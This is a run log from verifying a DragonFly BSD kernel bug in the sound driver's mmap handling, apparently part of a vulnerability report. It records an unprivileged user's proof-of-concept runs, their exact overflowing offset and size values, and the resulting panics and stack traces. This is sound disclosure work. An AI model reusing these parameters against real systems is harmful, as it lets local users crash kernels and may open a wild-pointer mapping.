DF-3879 / run.log
DF-3879 kernel-path runs โ audio-enabled guest (QEMU intel-hda + hda-duplex, snd_hda.ko)
Guest: DragonFly 6.5-DEVELOPMENT #0 (X86_64_GENERIC, options INVARIANTS), stock kernel.
Attacker context: unprivileged user `maxx` (uid=1001) via vm.sh run_user.
Audio: pcm0 (QEMU hda-duplex codec 0x1af40022) โ /dev/dsp, /dev/dsp0 are 0666 root:wheel.
RUN 1 (variant A first attempt โ unprepared channel, of=0xFFFFFFFF00000000 sz=4GiB):
$ /tmp/mmap_alias_rw (as maxx)
ssh session returned nothing (guest panicked *inside* the mmap(2) syscall โ
the old-style device pager ctor validates every page via dev_dmmap ->
dsp_mmap -> vtophys -> pmap_kextract, which faulted on a garbage PDE);
process stdout lost to stdio buffering on the killed session.
Serial console (boot.log):
Fatal user address access from kernel mode from mmap_alias_rw at ffffffff80c0cdc6
Fatal trap 12: page fault while in kernel mode
fault virtual address = 0xffff80403e005000 (DMAP read of a garbage
PDE target, phys ~275GB)
fault code = supervisor read data, page not present
Stopped at pmap_kextract.part.23+0x16: movq (%rax,%rdx,1),%rdx
-> full text in panic.pmap.txt. Note: no INVARIANTS/KASSERT machinery is
involved in this path โ identical behavior on production (non-INVARIANTS)
builds. The wild offset reached the device pager: check at dsp.c:2342 was
bypassed (sum wrapped to 0 <= bufsize).
RUN 2 (variant A second attempt โ with OSS SETFMT/CHANNELS/SPEED + GETOSPACE
preparation so bufsoft is allocated): identical panic, identical fault VA
0xffff80403e005000 โ the 4GiB ctor walk is guaranteed to run off the end of
mapped KVA, so a size=2^32 attack shape always dies in pmap_kextract during
the mmap syscall. (Deterministic across boots: phys page 0 content is
boot-identical.) See VERDICT.md "attack geometry".
RUN 3 (variant B โ the original PoC /tmp/mmap_ofs: of=0xffffffff10000000 sz=0xf0000000,
attacker-chosen ofs=0x10000000 >= bufsize):
$ /tmp/mmap_ofs (as maxx)
ssh session returned nothing (kernel panicked synchronously in the mmap
syscall; see panic.txt). Serial console:
panic: sndbuf_getbufofs: ofs invalid 268435456
Trace beginning at frame 0xfffff801182494e8
sndbuf_getbufofs() at sndbuf_getbufofs+0x2b
dsp_mmap_single() at dsp_mmap_single+0x149
dev_dmmap_single() at dev_dmmap_single+0x5e
vm_mmap() at vm_mmap+0x6d8
kern_mmap() at kern_mmap+0x378
268435456 = 0x10000000 = EXACTLY the ofs the PoC selects by wrapping
(*offset + size) around 2^64. The full chain from the finding executed:
kern_mmap -> vm_mmap -> dev_dmmap_single -> dsp_mmap_single(bypassed
dsp.c:2342) -> sndbuf_getbufofs (u32 truncation, buffer.c:424) -> KASSERT.
-> full text in panic.txt. Deterministic INVARIANTS-kernel local DoS by an
unprivileged user; on non-INVARIANTS kernels the same call proceeds to
dev_pager_alloc with the wild pointer (see RUN 1 for that sink live).